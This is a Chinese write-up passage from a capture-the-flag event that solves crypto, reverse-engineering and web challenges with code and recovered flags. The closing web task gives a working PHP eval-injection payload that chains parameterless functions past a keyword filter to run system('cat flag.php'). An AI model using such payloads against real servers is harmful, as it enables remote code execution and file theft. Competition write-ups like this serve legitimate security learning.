from Crypto.Util.number import*
from secret import flag
assert flag[:5] == b'cazy{'
assert flag[-1:] == b'}'
flag = flag[5:-1]
assert(len(flag) == 24)

class my_LCG:
def __init__(self, seed1 , seed2):
self.state = [seed1,seed2]
self.n = getPrime(64)
while 1:
self.a = bytes_to_long(flag[:8])
self.b = bytes_to_long(flag[8:16])
self.c = bytes_to_long(flag[16:])
if self.a < self.n and self.b < self.n and self.c < self.n:
break

def next(self):
new = (self.a * self.state[-1] + self.b * self.state[-2] + self.c) % self.n
self.state.append( new )
return new

def main():
lcg = my_LCG(getRandomInteger(64),getRandomInteger(64))
print("data = " + str([lcg.next() for _ in range(5)]))
print("n = " + str(lcg.n))

if __name__ == "__main__":
main()

# data = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
# n = 10104483468358610819

魔改三参数LCG,利用满足的公式 $as_{i-1}+bs_{i-2}+c \equiv s_i \pmod n$,得到三元一次同余方程组,利用Gröbner基求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
d = [2626199569775466793, 8922951687182166500, 454458498974504742, 7289424376539417914, 8673638837300855396]
n = 10104483468358610819
PR.<a,b,c> = PolynomialRing(Zmod(n))
f1 = (a*d[1]+b*d[0]+c-d[2])
f2 = (a*d[2]+b*d[1]+c-d[3])
f3 = (a*d[3]+b*d[2]+c-d[4])
Fs = [f1, f2, f3]
I = Ideal(Fs)
B = I.groebner_basis()
m = b''
for b in B:
assert b.degree() == 1
mi = ZZ(-b(0, 0, 0))
m += bytes.fromhex(hex(mi)[2:])
print(m)

# b'L1near_Equ4t1on6_1s_34sy'

拼接:cazy{L1near_Equ4t1on6_1s_34sy}

no_can_no_bb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import random
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from secret import flag

assert flag[:5] ==b'cazy{'

def pad(m):
tmp = 16-(len(m)%16)
return m + bytes([tmp for _ in range(tmp)])

def encrypt(m,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.encrypt(m)

if __name__ == "__main__":
flag = pad(flag)
key = pad(long_to_bytes(random.randrange(1,1<<20)))
c = encrypt(flag,key)
print(c)
# b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'

random范围不大,爆破key解AES-ECB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES

def pad(x):
tmp = 16-(len(x)%16)
return x + bytes([tmp for _ in range(tmp)])

def decrypt(c,key):
aes = AES.new(key,AES.MODE_ECB)
return aes.decrypt(c)

if __name__ == "__main__":
for i in range(1<<20):
key = pad(long_to_bytes(i))
c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
m = decrypt(c,key)
if m.startswith(b'cazy{'):
print(m)

# b'cazy{n0_c4n,bb?n0p3!}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

no_cry_no_can

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import*
from secret import flag,key

assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):
block_len = len(flag) // len(key) + 1
new_key = key * block_len
return bytes([i^j for i,j in zip(flag,new_key)])

c = can_encrypt(flag,key)
print(c)

# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

key为5位,已知flag头5位,与密文异或得key = b'\x5f\x11\x32\xff\x61',再异或密文还原明文:

cazy{y3_1s_a_h4nds0me_b0y!}

no_math_no_cry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import*
from secret import flag

assert len(flag) <= 80
def sec_encry(m):
cip = (m - (1<<500))**2 + 0x0338470
return cip

if __name__ == "__main__":
m = bytes_to_long(flag)
c = sec_encry(m)
print(c)

# 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169

简单逆回去就好,注意一下开方取负值:

1
2
3
4
5
6
7
c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
c -= 0x0338470
import gmpy2
m = -gmpy2.iroot(c,2)[0]
print(bytes.fromhex(hex(m+(1<<500))[2:]))

# b'cazy{1234567890_no_m4th_n0_cRy}'

math

数学最重要的就是推导

1
2
3
4
5
pinvq:0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
qinvp:0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
c:0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
e:0x10005
d:0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1

给出 $x=\text{inv}(p,q),y=\text{inv}(q,p),e,d,c$。

详细推导思路可参考 HITCON 2019 - Lost Modulus Again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import gmpy2
from itertools import product
import binascii
from Crypto.Util.number import *

"""
alpha = p' * q' - l
beta = l^2 * [(e * d - 1) / s] + q' * l + p' * l - p' * q' - alpha - l^2
i.e.:
beta = l^2 * {[(e * d - 1) / s] - 1} + l * (q' + p') - alpha - p' * q'
if l,s are correct:
alpha = k * t
beta = k * (p' - l) + t * (q' - l)
i.e:
"""


def alpha_from_pprime_qprime_l(pprime, qprime, l):
return pprime*qprime - l

def beta_from_pprime_qprime_e_d_l_s_alpha(pprime, qprime, e, d, l, s, alpha):
temp1 = e*d - 1
assert temp1 % s == 0
temp2 = ((temp1 // s) - 1) * l * l
temp3 = temp2 + l * (pprime + qprime)
return temp3 - alpha - (pprime*qprime)

def k_t_from_pprime_qprime_l_alpha_beta(pprime, qprime, l, alpha, beta):
a = pprime - l
b = -beta
c = alpha * (qprime - l)
disc = b * b - 4 * a * c
assert gmpy2.is_square(disc)
temp = -b + gmpy2.isqrt(disc)
assert temp % (2*a) == 0
k = temp // (2*a)
assert alpha % k == 0
return k, alpha // k

def brute_k_t_l(pprime, qprime, e, d):

# l, s = 2, 2

ss = [s for s in range(e - 100000, e + 1000000) if s!=0 and (e*d - 1) % s == 0]

for l, s in product(range(1, 5000), ss):
#print(f'l = {l}, s = {s}')
try:
alpha = alpha_from_pprime_qprime_l(pprime, qprime, l)
beta = beta_from_pprime_qprime_e_d_l_s_alpha(pprime, qprime, e, d, l, s, alpha)
k, t = k_t_from_pprime_qprime_l_alpha_beta(pprime, qprime, l, alpha, beta)
return k, t, l

except AssertionError:
continue

if __name__ == "__main__":
e = 0x10005
#fn = 15743369066365201538689815141217340316571238013087670610561037355773525976258683589473338312326667266426637983360891507450086948913791067841805124377899989037485326133436719169246977060981737084689604571176180431464103979969894191079926052092838806338413905561857239072404009236751128582547515118141940600672935405990869984053032765764114050729270669601890847900632843688927485888918612911073502700067125045327489296133801029104137634700096205588495179191062622618039322093662364377472003903899926787818853067801269953347284657645644433840226628368651915623156258190141632506503179281547840336415021260912890513317032
d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
pprime = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
qprime = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
k, t, l = brute_k_t_l(pprime, qprime, e, d)

lp, lq = qprime + k, pprime + t
assert lp % l == 0, lq % l == 0
p, q = lp // l, lq // l

assert gmpy2.invert(p, q) == pprime, gmpy2.invert(q, p) == qprime
assert gmpy2.is_prime(p), gmpy2.is_prime(q)
N = p*q

c = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
flag_decoded = pow(c, d, N)
print(long_to_bytes(flag_decoded))

# b'flag{c4617a206ba83d7f824dc44e5e67196a}'

REVERSE

lemon

re签到题,格式:flag{output}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
0: const 60 ; <module 'main'> 
5: module 9 592
11: const 26 ; 83
16: const 27 ; 69
21: const 28 ; 65
26: array 3
31: store 0 0
34: const 30 ; 101
39: const 31 ; 108
44: const 32 ; 111
49: const 33 ; 117
54: const 34 ; 122
59: const 30 ; 101
64: const 35 ; 105
69: const 36 ; 98
74: const 30 ; 101
79: const 31 ; 108
84: const 33 ; 117
89: const 35 ; 105
94: const 37 ; 113
99: const 33 ; 117
104: const 35 ; 105
109: const 37 ; 113
114: array 16
119: store 0 1
122: const 39 ; 0
127: store 0 2
130: array 0
135: store 0 3
138: load 0 2
141: const 42 ; 256
146: lt
147: jz 184
152: load 0 3
155: const 43 ; append
160: getattr
161: load 0 2
164: call 1
166: pop
167: load 0 2
170: const 44 ; 1
175: add
176: store 0 2
179: jmp 138
184: const 39 ; 0
189: store 0 4
192: load 0 4
195: const 42 ; 256
200: lt
201: jz 271
206: load 0 3
209: load 0 4
212: getitem
213: load 0 0
216: load 0 4
219: const 46 ; 3
224: mod
225: getitem
226: add
227: load 0 1
230: load 0 4
233: const 47 ; 16
238: mod
239: getitem
240: add
241: const 42 ; 256
246: mod
247: load 0 3
250: load 0 4
253: setitem
254: load 0 4
257: const 44 ; 1
262: add
263: store 0 4
266: jmp 192
271: const 39 ; 0
276: store 0 5
279: load 0 5
282: const 46 ; 3
287: lt
288: jz 448
293: const 39 ; 0
298: store 0 6
301: load 0 6
304: const 42 ; 256
309: lt
310: jz 366
315: load 0 3
318: load 0 6
321: getitem
322: load 0 3
325: load 0 6
328: const 44 ; 1
333: add
334: const 42 ; 256
339: mod
340: getitem
341: bxor
342: load 0 3
345: load 0 6
348: setitem
349: load 0 6
352: const 44 ; 1
357: add
358: store 0 6
361: jmp 301
366: const 39 ; 0
371: store 0 7
374: load 0 7
377: const 42 ; 256
382: lt
383: jz 431
388: load 0 3
391: load 0 7
394: getitem
395: const 44 ; 1
400: add
401: const 42 ; 256
406: mod
407: load 0 3
410: load 0 7
413: setitem
414: load 0 7
417: const 44 ; 1
422: add
423: store 0 7
426: jmp 374
431: load 0 5
434: const 44 ; 1
439: add
440: store 0 5
443: jmp 279
448: const 39 ; 0
453: store 0 5
456: const 39 ; 0
461: store 0 8
464: load 0 5
467: const 42 ; 256
472: lt
473: jz 509
478: load 0 8
481: load 0 3
484: load 0 5
487: getitem
488: add
489: store 0 8
492: load 0 5
495: const 44 ; 1
500: add
501: store 0 5
504: jmp 464
509: load 0 8
512: const 51 ; 20
517: mul
518: const 52 ; 5
523: add
524: store 0 8
527: load 0 8
530: const 54 ; 30
535: mul
536: const 52 ; 5
541: sub
542: store 0 8
545: load 0 8
548: const 56 ; 40
553: mul
554: const 52 ; 5
559: sub
560: store 0 8
563: load 0 8
566: const 58 ; 50
571: mul
572: const 59 ; 6645
577: add
578: store 0 8
581: const 23 ; <function 'print'>
586: load 0 8
589: call 1
591: pop

根据bytecode还原代码,需要注意数组的存储顺序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
key = [83,69,65][::-1]
c = [101,108,111,117,122,101,105,98,101,108,117,105,113,117,105,113][::-1]
S = []

for i in range(256):
S.append(i)

for j in range(256):
S[j] = (S[j]+key[j%3]+c[j%16])%256

for k in range(3):
for x in range(256):
S[x] = S[x]^S[(x+1)%256]
for y in range(256):
S[y] = (S[y]+1)%256

b = 0
for k in range(256):
b = b+S[k]

b = b*20+5
b = b*30-5
b = b*40-5
b = b*50+6645
print(b)

# 23075096395

flag:flag{23075096395}

combat_slogan

面对疫情,我们的口号是什么?flag{input}

用jd工具分析jar,在Main.class发现主代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.xaut;

import java.util.Scanner;

public class Main {
public static String stringTransformAscii(String value) {
StringBuffer sbu = new StringBuffer();
char[] chars = value.toCharArray();
for (int i = 0; i < chars.length; i++) {
if (i != chars.length - 1) {
sbu.append(chars[i]).append(",");
} else {
sbu.append(chars[i]);
}
}
return sbu.toString();
}

public static String ttk(String input) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (c >= 'a' && c <= 'm') {
c = (char)(c + 13);
} else if (c >= 'A' && c <= 'M') {
c = (char)(c + 13);
} else if (c >= 'n' && c <= 'z') {
c = (char)(c - 13);
} else if (c >= 'N' && c <= 'Z') {
c = (char)(c - 13);
}
sb.append(c);
}
return sb.toString();
}

public static void main(String[] args) {
System.out.println("Please input your keyword);
Scanner scan = new Scanner(System.in);
String str2 = "ddd";
if (scan.hasNextLine())
str2 = scan.nextLine();
scan.close();
String stringTransformAscii = stringTransformAscii(str2);
String[] offerCodeString = stringTransformAscii.split(",");
StringBuffer str5 = new StringBuffer();
for (String s : offerCodeString)
str5.append(s);
int flag = ttk(str2).compareTo("Jr_j11y_s1tug_g0_raq_g0_raq_pnml");
if (flag == 0 && str5.toString().compareTo("871019511949491089510249103104116951164895101110100951164895101110100959997122121") == 0) {
System.out.println("Your keyword is correct!");
} else {
System.out.println("Your keyword is wrong!");
}
}
}

flag经 ttk() 函数处理后与 Jr_j11y_s1tug_g0_raq_g0_raq_pnml 相同,逆 ttk() 替换函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s = 'Jr_j11y_s1tug_g0_raq_g0_raq_pnml'

t = ''
for k in s:
if ord(k)-13 >= ord('a') and ord(k)-13 <= ord('m'):
t += chr(ord(k)-13)
elif ord(k)-13 >= ord('A') and ord(k)-13 <= ord('M'):
t += chr(ord(k)-13)
elif ord(k)+13 >= ord('n') and ord(k)+13 <= ord('z'):
t += chr(ord(k)+13)
elif ord(k)+13 >= ord('N') and ord(k)+13 <= ord('Z'):
t += chr(ord(k)+13)
else:
t += k
print(t)

# We_w11l_f1ght_t0_end_t0_end_cazy

flag:flag{We_w11l_f1ght_t0_end_t0_end_cazy}

cute_doge

普通的柴犬,戳一戳会发生什么奇妙的事情呢?

将exe用16进制工具查看,根据运行提示文字找到附近存在 ZmxhZ3tDaDFuYV95eWRzX2Nhenl9,base64解码得flag:flag{Ch1na_yyds_cazy}

hello_py

初次见面,送个python题,祝您接下来解题顺利,flag{input}

uncompyle6反编译pyc文件得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import threading, time

def encode_1(n):
global num
while True:
if num >= 0:
flag[num] = flag[num] ^ num
num -= 1
time.sleep(1)
if num <= 0:
break


def encode_2(n):
global num
while True:
if num >= 0:
flag[num] = flag[num] ^ flag[(num + 1)]
num -= 1
time.sleep(1)
if num < 0:
break


while True:
Happy = [
44, 100, 3, 50, 106, 90, 5, 102, 10, 112]
num = 9
f = input('Please input your flag:')
if len(f) != 10:
print('Your input is illegal')
else:
flag = list(f)
j = 0
for i in flag:
flag[j] = ord(i)
j += 1
else:
print("flag to 'ord':", flag)
t1 = threading.Thread(target=encode_1, args=(1, ))
t2 = threading.Thread(target=encode_2, args=(2, ))
t1.start()
time.sleep(0.5)
t2.start()
t1.join()
t2.join()

if flag == Happy:
print('Good job!')
else:
print('No no no!')

用z3求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import threading, time
from z3 import *
f = [BitVec(f'flag{i}',8) for i in range(10)]
flag = f[:]
x = Solver()

def encode_1(n):
global num
while True:
if num >= 0:
flag[num] = flag[num] ^ num
num -= 1
time.sleep(1)
if num <= 0:
break


def encode_2(n):
global num
while True:
if num >= 0:
flag[num] = flag[num] ^ flag[(num + 1)]
num -= 1
time.sleep(1)
if num < 0:
break


while True:
Happy = [44, 100, 3, 50, 106, 90, 5, 102, 10, 112]
num = 9
j = 0
t1 = threading.Thread(target=encode_1, args=(1, ))
t2 = threading.Thread(target=encode_2, args=(2, ))
t1.start()
time.sleep(0.5)
t2.start()
t1.join()
t2.join()

for k in range(10):
x.add(flag[k]==Happy[k])
if x.check() == sat:
m = x.model()
print(''.join([chr(m[f[i]].as_long()) for i in range(len(f))]))
break

# He110_cazy

flag:flag{He110_cazy}

WEB

RCE_No_Para

1
2
3
4
5
6
7
8
9
10
11
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
eval($_GET['code']);
}else{
die("Hacker!");
}
}else{
show_source(__FILE__);
}
?>

第一层正则表达式为递归匹配只含字母、数字、下划线的无参函数,如 a(b_c());,第二层要求不能包含 session|end|next|header|dir 关键字,使用 get_defined_vars() 可从请求中向 $_GET 传入所需执行的函数,由于 endnext 不能使用,可使用 resetarray_reverse 调整数组与取值,再利用 eval 命令执行。

payload:?code=eval(reset(array_reverse(current(get_defined_vars()))));&b=system("cat%20flag.php");